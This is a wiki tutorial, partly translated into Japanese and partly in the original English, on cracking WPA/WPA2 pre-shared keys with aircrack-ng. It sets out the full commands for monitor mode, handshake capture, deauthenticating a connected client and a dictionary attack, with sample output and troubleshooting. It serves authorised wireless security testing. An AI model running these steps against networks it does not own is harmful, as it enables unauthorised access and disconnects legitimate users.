ユーザ用ツール

サイト用ツール


ja:cracking_wpa

文書の過去の版を表示しています。


チュートリアル: WPA/WPA2 のクラッキング方法について

Version: 1.20 March 07, 2010
By: darkAudax
Translated by: nao on January 08, 2011

最初に

このチュートリアルは事前共有鍵を用いるWPA/WPA2ネットワークをクラッキングするためのものです。WPA/WPA2とは何かということをご存じの上で行われることを推奨します。リンク集 Wiki にはは WPA/WPA2 セクション があります。WPAについての詳細はこちらWi-Fi Security - WEP, WPA and WPA2をご覧ください。こちらはPDFダウンロードへのリンクです。 またこちらWPA Packet Capture Explained tutorialも併せてご覧ください。

WPA/WPA2には事前共有鍵以外にも様々なタイプの認証方式が備わっています。aircrack-ngは事前共有鍵にたいしてのみ有効です。従って、airodump-ngではauthentication typeがPSKとなっているネットワークが表示されていることを確認してください。そうしないと、そもそもクラックできないネットワークに挑戦し、クラックできないことに悩むことになってしまいます。

WPA/WPA2とWEPではクラッキングに関して重要な違いがあります。これは以前のWPA/WPA2事前共有鍵のクラッキングへのアプローチです。WEPとは異なり、クラッキングプロセスの速度向上のために統計的な手法が用いられるものの、WPA/AP2に対しては単純な辞書攻撃が用いられています。鍵が固定でないため、WEP暗号をクラックする時のようにIV(初期化ベクタ)を大量に収集しても一向に速度が向上しません。クライアントとアクセスポイント間のハンドシェイクのみが攻撃のきっかけとなる情報を与えてくれます。事実ではない点も含まれますが、このチュートリアルの目的から考えれば、事実と考えていただいて差し支えありません。事前共有鍵は8から63文字長で構成されているため、現実的にはクラックが不可能です。

事前共有鍵をクラックできるケースとしては、鍵が辞書に含まれている言葉を用いている場合と比較的短い鍵を用いている場合です。逆に言えば、自宅の無線ネットワークをクラックされないためには、WPA/WPA2を用い、特殊な文字を含むランダムな63文字のパスワードを設定することです。

辞書攻撃を用いる影響は計りしれません。それは非常にコンピュータ集約的であり、CPUに依存するため、1秒間に試せるのはせいぜい50から300キーほどだからです。
# 訳者注
# 原文では1秒間に50から300と記載されていますが、最近ではそんなに遅くは無いかと思います。
大きな辞書でごりごりクラッキングするには何日とはかからなくても、数時間はかかります。自分のパスワードを作成する際、まずここ brute force time calculator をチェックすることをおすすめします。辞書攻撃に必要な時間の少なさに驚くかと思います。

重要つまりWPA/WPA2を破るには辞書に含まれている文字列が使われてなければなりません。辞書に含まれていなければ、aircrack-ngは鍵を特定することができません。

クラッキングするにあたり、WPAかWPA2であるかは大きな違いではありません。認証方式は基本的に同じです。従って、方法は全く同じです。

ここでの考え方やテクニックになれるためにはご自宅のアクセスポイントで実験してみることをおすすめします。ご自身で管理されているアクセスポイントをお持ちでない場合は、所有者に許可を取ってから行うようにしてください。

このような強力なツールを生み出してくれたAircrack-ng teamに対して感謝をいたします。

前向きであるかないかに関わらず、建設的なフィードバックをお待ちしています。トラブルシューティングのアイデアやテクニックも大いに歓迎です。

前提条件

まず、以下の条件を前提とします:  * Injectionパッチの当たったドライバを用いる。injection testで確認できます。  * アクセスポイントに対してパケットを送受するのに物理的に十分近い場所にいること。アクセスポイントからパケットを受け取れるからといって、パケットを遅れるとは限りません。一般的な無線LANカードはアクセスポイントほど強い電波を発しません。そのため、あなたのクライアントからアクセスポイントや他のワイヤレスクライアントに対してパケットを送ったり受け取るためには物理的に十分近づく必要があります。この方法で特定のアクセスポイントと通信できているかどうかを確認できます。  * aircrack-ngのv0.9.1以上を使う。他のバージョンではコマンドオプションが違うかもしれません。

上記の条件を満たしていても、下記の通り動かない場合があります。以下の例中で用いられている“ath0”をあなたが利用している無線LANカードのインターフェース名に変更する必要があります。

無線LAN機器の設定値

このチュートリアルでは以下の値を用いています:

  • aircrack-ngスイートを動かしているPCのMACアドレス:00:0F:B5:88:AC:82
  • WPA2を利用している無線LANクライアントのMACアドレス:00:0F:B5:FD:FB:C2
  • BSSID (アクセスポイントのMACアドレス): 00:14:6C:7E:40:80
  • ESSID (無線LAN名): teddy
  • アクセスポイントのチャンネル: 9
  • 無線LANインターフェース: ath0

あなたが試そうとしているネットワークについても上記と同等の情報を集めなくてはなりません。その上で、以下の例中の値を読み替えてください。

クラッキングの方法

概要

目標はWPA/WPA2ハンドシェイクを取得し、次に、aircrack-ngを用いて事前共有鍵をクラックすることです。

アクティブ方式とパッシブ方式、どちらの方式でも可能です。アクティブとは既に繋がっている無線LANクライアントの認証を一旦無効化することによりハンドシェイクの取得を早めることを意味しています。パッシブとは無線LANクライアントが新たにWPA/WPA2ネットワークに参加し認証されるのをただ待つことを意味しています。パッシブ方式の利点はInjectionができなくともよく、Windows版のaircrack-ngでも可能ということです。

基本的なステップ:

  1. 特定のチャネルに設定し、モニターモードで無線LANインターフェースを起動する。
  2. ハンドシェイクを取得するために、BSSIDフィルタを用いてアクセスポイントのチャネルに合わせてairodump-ngを起動する。
  3. 認証済みの無線LANクライアントの認証を一旦無効化するためにaireplay-ngを用いる。
  4. ハンドシェイクを用いて事前共有鍵をクラックするためにaircrack-ngを走らせる。

Step 1 - モニターモードで無線LANインターフェースを起動する

このステップの目標はあなたの無線LANカードをいわゆるモニターモードで起動することです。モニターモードは周辺環境の全ての無線LANパケットを拾うモードです。通常、無線LANカードはそのカードと無線通信を行っているパケットのみ拾うことができます。全てのパケットを拾うことで、WPA/WPA2の4Wayハンドシェイクも拾うことが可能となります。同様に、後のステップで述べるとおり、認証済み無線LANクライアントの認証を一旦無効化することも可能となります。

モニターモードを有効にするための厳密な手順はあなたの使っている無線LANカードのドライバによって変わります。ドライバを特定するために次のコマンドを実行してください。

 airmon-ng

Ralink, Atheros, Broadcomチップを搭載した無線LANカードでは、次のようにレスポンスがあります。

 Interface       Chipset         Driver
 
 rausb0          Ralink RT73     rt73
 wlan0           Broadcom        b43 - [phy0]
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0)

ドライバ名の後の[phy0]タグの表示は、mac80211向けの表示です。つまり、ここでBroadcomカードはmac80211ドライバを利用しています。 注意 mac80211ドライバはaircrack-ng v1.0-rc1以降でサポートされています。v0.9.1.では動きません。 Aterosカードは両方ともドライバとして“madwifi-ng”を表示しています。Atherosカードはmadwifi-ng-specificステップに従って設定します。 最後に、Ralinkのドライバ欄にはどちらも表示されていません。従って、ieee80211ドライバを用いています。こちらの設定には一般的な設定手順をご覧ください。

Step 1a - madwifi-ng の設定

まず、ath0を止めます。

 airmon-ng stop ath0   

システムからのレスポンス

 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

“iwconfig”と入力し、他にathXインターフェースが無いことを確認します。無い場合はこんな風に表示されます。

 lo        no wireless extensions.
 
 eth0      no wireless extensions.
 
 wifi0     no wireless extensions.

athXインターフェースがある場合は、それを止めます。それから“iwconfig”を実行し他にインタフェースが残っていないことを確認します。

さて、次のコマンドを入力し、チャンネル9でモニターモードで無線LANカードを起動します。

 airmon-ng start wifi0 9

注意:ここでは“ath0”の代わりに“wifi0”を用いました。これはmadwifi-ngドライバが使用中のためです。

システムからのレスポンスは

 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

上記のように“ath0”がモニターモードとしてレポートされていることに気づきます。

インターフェースが正しく設定されていることを確認するために、“iwconfig”と入力します。

システムからのレスポンスは

 lo        no wireless extensions.
 
 wifi0     no wireless extensions.
 
 eth0      no wireless extensions.
 
 ath0      IEEE 802.11g  ESSID:""  Nickname:""
        Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82   
        Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3  
        Retry:off   RTS thr:off   Fragment thr:off
        Encryption key:off
        Power Management:off
        Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
        Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
        Tx excessive retries:0  Invalid misc:0   Missed beacon:0

上記のレスポンスでは、ath0はチャンネル9、2.452GHz、モニターモードで起動されていることがわかります。またアクセスポイントはあなたの無線カードのMacアドレスを表示しています。madwifi-ngドライバのみAP欄にカードのMACアドレスが表示されます。他のドライバでは表示されません。次に進み適切に動かすためには、ここに表示されている全ての情報について確認することが重要です。

周波数をチャンネルに合わせるためには、こちらをチェック: http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . 各チャンネルごとの周波数がわかります。

Step 1b - mac80211 ドライバの設定

madwifi-ngとはことなり、mac80211ドライバの設定にはwlan0インターフェースの削除は必要ありません。その代わり、チャンネル9でモニターモードを起動するためには次のコマンドが必要となります。

 airmon-ng start wlan0 9

システムからのレスポンスは

 Interface       Chipset         Driver
 
 wlan0           Broadcom        b43 - [phy0]
                                 (monitor mode enabled on mon0)

airmon-ngはmon0でモニターモードが起動していることに注意してください。そのため、このあとのチュートリアルではインターフェース名をmon0としてください。Wlan0はまだ通常(マネージド)モードで普通に使われ、攻撃しようとしているアクセスポイントと同じチャンネルで接続されています。そして、チャンネルホッピングは使われていない状態です。

設定を確かめるためには、“iwconfig”を実行してください。次のようなレスポンスがあります。

 lo        no wireless extensions.
 eth0      no wireless extensions.
 
 wmaster0  no wireless extensions.
 
 wlan0     IEEE 802.11bg  ESSID:""
           Mode:Managed  Frequency:2.452 GHz  Access Point: Not-Associated
           Tx-Power=0 dBm
           Retry min limit:7   RTS thr:off   Fragment thr=2352 B
           Encryption key:off
           Power Management:off
           Link Quality:0  Signal level:0  Noise level:0
           Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
           Tx excessive retries:0  Invalid misc:0   Missed beacon:0
 
 mon0      IEEE 802.11bg  Mode:Monitor  Frequency:2.452 GHz  Tx-Power=0 dBm
           Retry min limit:7   RTS thr:off   Fragment thr=2352 B
           Encryption key:off
           Power Management:off
           Link Quality:0  Signal level:0  Noise level:0
           Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
           Tx excessive retries:0  Invalid misc:0   Missed beacon:0

ここで、mon0はチャンネル9(2.452GHz)でモニターモードとして表示されています。madwifi-ngとは異なり、モニターインターフェースにはアクセスポイント欄がありません。また、wlan0は依然として表示され、マネージドモードですがこれが通常の状態です。両方のインターフェースは共通の無線を共有するため、常に同じチャンネルとして合わされることになります。一方のチャンネルを変更すれば他方のチャンネルも変わることになります。

Step 1c - 他のドライバの設定

他(ieee80211ベース)のドライバでは、モニターモードを有効にするには、次のコマンドを実行するだけです。(rausb0をあなたの環境のインターフェース名に変更してください。)

 airmon-ng start rausb0 9

システムのレスポンスは

 Interface       Chipset         Driver
 
 rausb0          Ralink          rt73 (monitor mode enabled)

この時点でインターフェースは使用する準備ができています。

Step 2 - Start airodump-ng to collect authentication handshake

The purpose of this step is to run airodump-ng to capture the 4-way authentication handshake for the AP we are interested in.

Enter:

 airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0

Where:

  • -c 9 is the channel for the wireless network
  • --bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminates extraneous traffic.
  • -w psk is the file name prefix for the file which will contain the IVs.
  • ath0 is the interface name.

Important: Do NOT use the “--ivs” option. You must capture the full packets.

Here what it looks like if a wireless client is connected to the network:

  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:14:6C:7E:40:80   39 100       51      116   14   9  54  WPA2 CCMP   PSK  teddy                           
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes                                             
                                                                                                               
  00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35     0      116  

In the screen above, notice the “WPA handshake: 00:14:6C:7E:40:80” in the top right-hand corner. This means airodump-ng has successfully captured the four-way handshake.

Here it is with no connected wireless clients:

  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:14:6C:7E:40:80   39 100       51        0    0   9  54  WPA2 CCMP   PSK  teddy                           
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes                                             

Troubleshooting Tip

See the Troubleshooting Tips section below for ideas.

To see if you captured any handshake packets, there are two ways. Watch the airodump-ng screen for “ WPA handshake: 00:14:6C:7E:40:80” in the top right-hand corner. This means a four-way handshake was successfully captured. See just above for an example screenshot.

Use Wireshark and apply a filter of “eapol”. This displays only eapol packets you are interested in. Thus you can see if capture contains 0,1,2,3 or 4 eapol packets.

Step 3 - Use aireplay-ng to deauthenticate the wireless client

This step is optional. If you are patient, you can wait until airodump-ng captures a handshake when one or more clients connect to the AP. You only perform this step if you opted to actively speed up the process. The other constraint is that there must be a wireless client currently associated with the AP. If there is no wireless client currently associated with the AP, then you have to be patient and wait for one to connect to the AP so that a handshake can be captured. Needless to say, if a wireless client shows up later and airodump-ng did not capture the handshake, you can backtrack and perform this step.

This step sends a message to the wireless client saying that that it is no longer associated with the AP. The wireless client will then hopefully reauthenticate with the AP. The reauthentication is what generates the 4-way authentication handshake we are interested in collecting. This is what we use to break the WPA/WPA2 pre-shared key.

Based on the output of airodump-ng in the previous step, you determine a client which is currently connected. You need the MAC address for the following. Open another console session and enter:

 aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0

Where:

  • -0 means deauthentication
  • 1 is the number of deauths to send (you can send multiple if you wish)
  • -a 00:14:6C:7E:40:80 is the MAC address of the access point
  • -c 00:0F:B5:FD:FB:C2 is the MAC address of the client you are deauthing
  • ath0 is the interface name

Here is what the output looks like:

 11:09:28  Sending DeAuth to station   -- STMAC: [00:0F:B5:34:30:30]

With luck this causes the client to reauthenticate and yield the 4-way handshake.

Troubleshooting Tips

  • The deauthentication packets are sent directly from your PC to the clients. So you must be physically close enough to the clients for your wireless card transmissions to reach them. To confirm the client received the deauthentication packets, use tcpdump or similar to look for ACK packets back from the client. If you did not get an ACK packet back, then the client did not “hear” the deauthentication packet.

Step 4 - Run aircrack-ng to crack the pre-shared key

The purpose of this step is to actually crack the WPA/WPA2 pre-shared key. To do this, you need a dictionary of words as input. Basically, aircrack-ng takes each word and tests to see if this is in fact the pre-shared key.

There is a small dictionary that comes with aircrack-ng - “password.lst”. This file can be found in the “test” directory of the aircrack-ng source code. The Wiki FAQ has an extensive list of dictionary sources. You can use John the Ripper (JTR) to generate your own list and pipe them into aircrack-ng. Using JTR in conjunction with aircrack-ng is beyond the scope of this tutorial.

Open another console session and enter:

aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

Where:

  • -w password.lst is the name of the dictionary file. Remember to specify the full path if the file is not located in the same directory.
  • *.cap is name of group of files containing the captured packets. Notice in this case that we used the wildcard * to include multiple files.

Here is typical output when there are no handshakes found:

 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.

 No valid WPA handshakes found.

When this happens you either have to redo step 3 (deauthenticating the wireless client) or wait longer if you are using the passive approach. When using the passive approach, you have to wait until a wireless client authenticates to the AP.

Here is typical output when handshakes are found:

 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.
 
 #  BSSID              ESSID                     Encryption

 1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)
 
 Choosing first network as target.

Now at this point, aircrack-ng will start attempting to crack the pre-shared key. Depending on the speed of your CPU and the size of the dictionary, this could take a long time, even days.

Here is what successfully cracking the pre-shared key looks like:

                               Aircrack-ng 0.8
 
 
                 [00:00:00] 2 keys tested (37.20 k/s)
 
 
                         KEY FOUND! [ 12345678 ]
 
 
    Master Key     : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E 
                     B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD 
 
    Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 
                     CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 
                     FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 
                     2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 
 
    EAPOL HMAC     : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB 

Troubleshooting Tips

I Cannot Capture the Four-way Handshake!

It can sometimes be tricky to capture the four-way handshake. Here are some troubleshooting tips to address this:

  • Your monitor card must be in the same mode as the both the client and Access Point. So, for example, if your card was in “B” mode and the client/AP were using “G” mode, then you would not capture the handshake. This is especially important for new APs and clients which may be “turbo” mode and/or other new standards. Some drivers allow you to specify the mode. Also, iwconfig has an option “modulation” that can sometimes be used. Do “man iwconfig” to see the options for “modulation”. For information, 1, 2, 5.5 and 11Mbit are 'b', 6, 9, 12, 18, 24, 36, 48, 54Mbit are 'g'.
  • Sometimes you also need to set the monitor-mode card to the same speed. IE auto, 1MB, 2MB, 11MB, 54MB, etc.
  • Be sure that your capture card is locked to the same channel as the AP. You can do this by specifying “-c <channel of AP>” when you start airodump-ng.
  • Be sure there are no connection managers running on your system. This can change channels and/or change mode without your knowledge.
  • You are physically close enough to receive both access point and wireless client packets. The wireless card strength is typically less then the AP strength.
  • Conversely, if you are too close then the received packets can be corrupted and discarded. So you cannot be too close.
  • Make sure to use the drivers specified on the wiki. Depending on the driver, some old versions do not capture all packets.
  • Ideally, connect and disconnect a wireless client normally to generate the handshake.
  • If you use the deauth technique, send the absolute minimum of packets to cause the client to reauthenticate. Normally this is a single deauth packet. Sending an excessive number of deauth packets may cause the client to fail to reconnect and thus it will not generate the four-way handshake. As well, use directed deauths, not broadcast. To confirm the client received the deauthentication packets, use tcpdump or similar to look for ACK packets back from the client. If you did not get an ACK packet back, then the client did not “hear” the deauthentication packet.
  • Try stopping the radio on the client station then restarting it.
  • Make sure you are not running any other program/process that could interfere such as connection managers, Kismet, etc.
  • Review your captured data using the WPA Packet Capture Explained tutorial to see if you can identify the problem. Such as missing AP packets, missing client packets, etc.

Unfortunately, sometimes you need to experiment a bit to get your card to properly capture the four-way handshake. The point is, if you don't get it the first time, have patience and experiment a bit. It can be done!

Another approach is to use Wireshark to review and analyze your packet capture. This can sometimes give you clues as to what is wrong and thus some ideas on how to correct it. The WPA Packet Capture Explained tutorial is a companion to this tutorial and walks you through what a “normal” WPA connection looks like. As well, see the FAQ for detailed information on how to use Wireshark.

In an ideal world, you should use a wireless device dedicated to capturing the packets. This is because some drivers such as the RTL8187L driver do not capture packets the card itself sends. Also, always use the driver versions specified on the wiki. This is because some older versions of the drivers such as the RT73 driver did not capture client packets.

When using Wireshark, the filter “eapol” will quickly display only the EAPOL packets. Based on what EAPOL packets are actually in the capture, determine your correction plan. For example, if you are missing the client packets then try to determine why and how to collect client packets.

To dig deep into the packet analysis, you must start airodump-ng without a BSSID filter and specify the capture of the full packet, not just IVs. Needless to say, it must be locked to the AP channel. The reason for eliminating the BSSID filter is to ensure all packets including acknowledgments are captured. With a BSSID filter, certain packets are dropped from the capture.

Every packet sent by client or AP must be acknowledged. This is done with an “acknowledgment” packet which has a destination MAC of the device which sent the original packet. If you are trying to deauthenticate a client, one thing to check is that you receive the “ack” packet. This confirms the client received the deauth packet. Failure to receive the “ack” packet likely means that the client is out of transmission range. Thus failure.

When it comes to analyzing packet captures, it is impossible to provide detailed instructions. I have touched on some techniques and areas to look at. This is an area which requires effort to build your skills on both WPA/WPA2 plus how to use Wireshark.

aircrack-ng says "0 handshakes"

Check the “I Cannot Capture the Four-way Handshake!” troubleshooting tip.

aircrack-ng says "No valid WPA handshakes found"

Check the “I Cannot Capture the Four-way Handshake!” troubleshooting tip.

ja/cracking_wpa.1294487706.txt.gz · 最終更新: 2011/01/08 12:55 by macoto